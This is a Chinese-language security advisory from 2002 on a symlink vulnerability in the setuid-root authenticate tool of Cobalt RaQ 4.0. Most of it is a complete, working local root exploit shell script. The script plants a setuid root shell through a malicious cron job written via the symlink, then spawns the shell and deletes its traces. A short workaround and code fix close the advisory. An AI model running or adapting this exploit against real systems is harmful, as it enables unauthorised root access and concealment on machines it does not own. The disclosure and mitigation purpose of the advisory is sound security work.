发布日期：2002-08-21
更新日期：2002-08-27

受影响系统：

Cobalt RaQ 4.0

描述：

---

BUGTRAQ  ID: 5529

Cobalt RaQ是一个基于Internet的服务器程序，由Sun微系统公司发布和维护。

Cobalt RaQ中的authenticate工具建立临时文件名不够安全，本地攻击者可以利用这个漏洞进行符号链接攻击。

Cobalt RaQ系统包含/usr/lib/authenticate工具，可由Apache使用用于验证目的，但这个工具在建立临时文件的时候使用可预测文件名，并建立的文件权限是全局可写，由于/usr/lib/authenticate以suid root属性安装，本地攻击者可以通过符号连接建立文件或者更改系统文件(/etc/passwd)的权限，以提升权限。

<*来源：Charles Stevenson （core@bokeoa.com）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Charles Stevenson（core@bokeoa.com） 提供了如下测试程序：

#!/bin/sh
#
# Cobalt Linux 6.0 Local Root Exploit
#
# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)
# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"
#
# Problem Source Code:
# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);
#
# Suggested Code:
# fd = mkstemp("/tmp/gmon.out-XXXXXX");
#
# Still need help Cobalt developers? Ok:
# man 3 tmpfile; man 2 open; echo "Thanks core"
#
# by Charles Stevenson <core@bokeoa.com>
#
# Fri Jun 28 03:35:53 MDT 2002
# - initial version
# Sun Jul 7 20:12:41 MDT 2002
# - added some features for robustness

echo "RaQFuCK.sh by core"

target="/usr/lib/authenticate"
tempdir="/tmp"

if [ -u /.sushi ] ; then
    exec /.sushi
fi

printf "Checking for $target..."
if [ -f "$target" ] ; then
    echo "done."
else
    echo "NO!"
    exit 1
fi

printf "Checking if $target is setuid root..."
if [ -u "$target" ] ; then
    echo "done."
else
    echo "NO! Hrm... does this admin have a clue???"
    exit 1
fi

if [ ! -d "$tempdir/core" ]; then
    printf "Creating $tempdir/core..."
    if ! mkdir "$tempdir/core" 2>/dev/null ; then
    echo "FAILED!" ; exit 1
    fi
    echo "done."
fi

printf "Changing directory to $tempdir/core..."
if ! cd "$tempdir/core" 2>/dev/null ; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Creating cron.d symlink..."
if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Changing umask..."
if ! umask 000 ; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Compiling root shell..."
cat >sushi.c <<EOF
#include <unistd.h>
int main (int argc, char **argv, char **envp) {
    setuid(0);
    setgid(0);
    execve("/bin/sh",argv,envp);
    return -1;
}
EOF
if ! cc sushi.c -o sushi 2>/dev/null; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Compiling cron takeover..."
cat >takeover.c <<EOF
#include <stdlib.h>
main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }
EOF
if ! cc takeover.c -o own 2>/dev/null; then
    echo "FAILED!" ; exit 1
fi
echo "done."

printf "Performing symlink attack..."
printf "\n\n\n\n" | "$target"
if [ -u /etc/cron.d/core ] ; then
    echo "SYMLINK ATTACK FAILED!" && exit 1
else
    echo "done."
fi

printf "Setting up evil cron job..."
cat >croncore <<EOF
*/1 * * * * root if [ -x "$tempdir/core/own" ] ; then "$tempdir/core/own";
fi
EOF
if ! cat croncore 2>/dev/null >/etc/cron.d/core; then
    echo "FAILED!" ; exit 1
else
    echo "done."
fi

printf "Waiting for root shell"
while [ ! -u /.sushi ] ; do
    sleep 1 ; printf "."
done
echo "done."

cd /

printf "Cleaning up real quick..."
if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then
    echo "FAILED??? Fuck it!"
else
    echo "done."
fi

echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"
if ! exec /.sushi -i; then
    echo "Exec Failed!!! BUMMER!" ; exit 1
fi

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* chmod u-s /usr/lib/authenticate

厂商补丁：

Cobalt
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.sun.com/hardware/serverappliances/

浏览次数：2867
严重程度：0（网友投票）